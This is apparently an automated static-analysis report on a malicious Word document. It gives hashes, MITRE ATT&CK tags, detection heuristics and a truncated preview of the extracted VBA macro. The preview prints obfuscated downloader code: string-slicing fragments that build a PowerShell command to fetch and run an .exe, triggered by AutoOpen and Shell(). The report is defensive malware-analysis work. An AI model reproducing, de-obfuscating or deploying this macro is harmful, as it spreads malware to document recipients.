Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa6b8004d075bd01…

MALICIOUS

Office (OLE)

165.5 KB Created: 2017-11-28 15:23:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 8374882689d314e7ca35baf0bbfd5280 SHA-1: 561e39cce48eeddcecf9d74a3076ccede68ca43c SHA-256: aa6b8004d075bd0180a4a17ba1815658c9162df7cd313ba6246b278f812142f8
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function and obfuscated string concatenation to construct a URL from which it likely downloads and executes a second-stage payload. The presence of the AutoOpen macro and the Shell() call strongly indicate an attempt to execute arbitrary code upon opening the document.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 83918 bytes
SHA-256: a458307581f7b88340ff6d6e8e1f7ffedbfe4574b8ccbd777a0bac443ea75da4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uZhClYqjW"
Function rPoSuRzoP()
RUibpjDAqnS = Array(StrReverse("jhwKmJKIXI"), StrReverse("TRnEQSALjf"), StrReverse("qUoVwuRqHM"), StrReverse("TumKXSEXfQ"), StrReverse("jWOjJUNkLT"), StrReverse("DMNjbMsdLs"), StrReverse("rTBLpYfchz"), StrReverse("NcjSvUGHLi"))
GvHrm = Mid("wLjPh4qwFGN0J34tkUmYZ'3fouwt3+wt3ndawt3+wt3tion.orgwt3+wt3/dJ'+'hwt3+wt3NM/wtnE6+nE63+wt3,w1vXfzdllDdcqoq", 22, 70)
lvHhhkmDDS = Array(StrReverse("swkSqLzcAq"), StrReverse("XhaonCRzrH"), StrReverse("mBFmomKwvi"), StrReverse("QdCozKQQIQ"), StrReverse("VidJZWGdwk"), StrReverse("vGStQrrwdD"), StrReverse("ADhSaufmpd"), StrReverse("mApblEXwMS"))
tBJfVjfs = Array(StrReverse("hjfoIGhFiL"), StrReverse("abMnZPVCrl"), StrReverse("okDOFajvkH"), StrReverse("FkRjKKoNCi"), StrReverse("ratWWlQstj"), StrReverse("zDQaqzdRii"), StrReverse("amUbFpKfcO"), StrReverse("bIAItOqhrU"))
JdmWpmv = Array(StrReverse("NXGqTjfPVA"), StrReverse("OOQBDIHZJw"), StrReverse("GMkiVSXCzj"), StrReverse("bXYwDcGUvW"), StrReverse("FhvvHFZwKE"), StrReverse("BXqBuBmbVA"), StrReverse("MdSlYqpRzb"), StrReverse("CndnqZQoXP"))
zzCipoYwuQ = Mid("S8ic'w'+'t3nE6+nE63245);8v6wt3+w'+'t3hwt3+wt3uwt3+w'+'t3as = '+'8v6ewt3+wt3niQiWswNjjrHurq8G5zCFVJPYVN7YL", 5, 72)
RhIUI = Array(StrReverse("JnBEICUrqN"), StrReverse("hXiUIEFSQh"), StrReverse("blPfFqDHjb"), StrReverse("HwZOYmkPSC"), StrReverse("VSoPhEdjAp"), StrReverse("IXQKsYXWzR"), StrReverse("zMLPFkzQvV"), StrReverse("TpzNMIzAwB"))
GnVjaUHHkJ = Array(StrReverse("tYstiDhWEB"), StrReverse("piwvKcPKWQ"), StrReverse("QHBiBNuCLU"), StrReverse("lwEGHnkYCV"), StrReverse("ISNvmXohdO"), StrReverse("KGRGwlXJrU"), StrReverse("JfLjQqZsoX"), StrReverse("rqHBIztFwd"))
iWUfDLhUiRz = Array(StrReverse("JaaTKbqLiT"), StrReverse("dnokHsbfoJ"), StrReverse("ArmaHzMjPJ"), StrReverse("RrUSfErjvC"), StrReverse("HDkTljDTkt"), StrReverse("ufmpGSnzLM"), StrReverse("PHwZBmTWED"), StrReverse("BvjmBwGToY"))
vzJwzww = Mid("v5+'+nE6Exceptiwt3+wt3owt3nE6+nE6+wt3n.Messawt3+wt3ge;}}wt'+'3)-crePLace  wt'+'38v6zBVJPj5Ds", 3, 81)
kfinis = Array(StrReverse("YMZwJihwHV"), StrReverse("PbjiMdHdiv"), StrReverse("wwtGXTzPwB"), StrReverse("rRMNvwGOam"), StrReverse("JblSHPKZpf"), StrReverse("qQbBfcSSZp"), StrReverse("iRzGdwPSmP"), StrReverse("XsDrmWLbwH"))
EQqzBU = Array(StrReverse("tszVOlFiLN"), StrReverse("QrVjmAHLRz"), StrReverse("QhPjszwznJ"), StrReverse("LTLmSXHaKQ"), StrReverse("joKrmKZAAB"), StrReverse("pvCoHMdScO"), StrReverse("pFqCBzfiQP"), StrReverse("sjABSbXYui"))
pzkSwsbCB = Array(StrReverse("ZqbfCZWRqE"), StrReverse("jrZVOPJDrj"), StrReverse("kfurViodwj"), StrReverse("vmzYmfoVzs"), StrReverse("SAMEBiVFqt"), StrReverse("LkijUuwjJT"), StrReverse("ksUHIurAjj"), StrReverse("boGzNjSqqq"))
XVITBqJIZ = Mid("vNJWHqkvnkAsw c4bMCIOvswt3+wt3 +wt3+wt3 iwt3+wtnE6+nE63vr.exeivr;wt3+wt3forewt3+'+'wt3ach(8v6abc '+'wt3+'+'wt3in wt3+wt38v6bwt3+wt3cd)wt3+wt3{trnE6+nE6y{8wt3+wt3vwt3jH3QIGDJPUJKo2V", 23, 143)
NfZWhcf = Array(StrReverse("awzmUQRWfG"), StrReverse("tpzwbbwIpo"), StrReverse("iqjkIIuBWf"), StrReverse("oEXunsFDhk"), StrReverse("fJDJVCiDZr"), StrReverse("dPiFEjMOiL"), StrReverse("WPAzRpSDIi"), StrReverse("VuaFJVnaPF"))
PRCHQMTHbh = Array(StrReverse("NjmDXLDQEr"), StrReverse("jFLdHajFwG"), StrReverse("mVVHRXdjVk"), StrReverse("bFtSGBFQkw"), StrReverse("rbwrAWccrm"), StrReverse("DNujErNfmz"), StrReverse("hUuTQdLtXG"), StrReverse("UPUzPLZiHv"))
popbdd = Array(StrReverse("EIJZOWjnGr"), StrReverse("jXutjAKIMP"), StrReverse("rwCCAHEdfb"), StrReverse("HznsoMHRGZ"), StrReverse("WOhpwWazsE"), StrReverse("wwjCjHGHZH"), StrReverse("RCHikjjCFU"), StrReverse("stCnsdONDi"))
BOfcUj = Mid("cv7ZADz36) )')-REPlaCE  'nE6',[cHAr]39-CrEplAce 'Lea',[cHAr]36)) vElM", 8, 58)
jOOjGmlNPi = Array(StrReverse("vBrihOLKOO"), StrReverse("nailOWhdbW"), StrReverse("KjFlSosuTs"), StrReverse("SjYqDjdLmC"), StrRev
... (truncated)